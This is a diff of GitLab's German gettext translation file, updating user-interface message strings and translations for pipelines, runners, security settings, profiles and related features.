msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Passwort"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Passwort (optional)"
@@ -24881,7 +25278,7 @@ msgid "Peer review by"
msgstr ""
msgid "Pending"
-msgstr "In Arbeit"
+msgstr "Wartend"
msgid "Pending comments"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,12 +25997,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
-msgstr ""
-
msgid "Pipeline|Variables"
msgstr "Variabeln"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "Bitte beachte, dass diese Anwendung nicht von GitLab bereitgestellt wird. Du solltest daher die Authentizität überprüfen, bevor du den Zugriff erlaubst."
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,8 +26411,8 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Verhindere das Hinzufügen neuer Mitglieder zur Projektmitgliedschaft in dieser Gruppe"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr ""
@@ -26293,8 +26693,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "Nicht im Profil zeigen"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Zeige keine aktivitätsbezogenen persönlichen Informationen in deinem Profilen an"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Profil bearbeiten"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr "Ungültiger Benutzername"
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr "Projektname"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr "Markierung entfernen"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Du hast dein Projektlimit erreicht"
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr "Hochstufen"
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr "Öffentlich - Auf das Projekt kann ohne Authentifizierung zugegriffen we
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Quartale"
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr "Regex-Muster"
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Avatar entfernen"
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr "Untergeordnetes Epic von einem Epic entfernen"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "Entfernte Gruppe kann nicht wiederhergestellt werden!"
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr "Wieder öffnen"
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Epic erneut öffnen"
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Anfrage auf Zugriff"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr "Runners-Seite."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29791,7 +30314,7 @@ msgid "Runners|specific"
msgstr ""
msgid "Running"
-msgstr "Wird ausgeführt"
+msgstr "Laufend"
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Sicherheit"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr "Sept"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "September"
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr "Service-URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "ein Passwort festlegst"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Statusemoji hinzufügen"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Einstellungen"
@@ -31581,6 +32134,27 @@ msgstr "Verwendete Pipeline-Minuten zurücksetzen"
msgid "Sherlock Transactions"
msgstr "Sherlock-Transaktionen"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr "Neuste Version zeigen"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Ãœbergeordnete Seiten anzeigen"
-
-msgid "Show parent subgroups"
-msgstr "Zeige übergeordnete Untergruppen"
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Etwas ist beim Ändern des Sperrzustandes von %{issuableDisplayName} schief gelaufen"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Beim Abrufen der Umgebungen für diesen Merge-Request ist etwas schiefgelaufen. Bitte versuche es erneut."
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr "Quelle (Branch oder Tag)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr "Quelle ist nicht verfügbar"
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32483,7 +33078,7 @@ msgid "Squash commit message"
msgstr ""
msgid "Squash commits"
-msgstr "Squash Commits"
+msgstr "Commits squashen"
msgid "Stack trace"
msgstr "Stack-Trace"
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Einen Review starten"
-msgid "Start and due date"
-msgstr "Start- und Fälligkeitsdatum"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Die Verbindung wird nach %{timeout} beendet. Verwende eine Clone/Push-Kombination für Repositorys, die länger brauchen."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
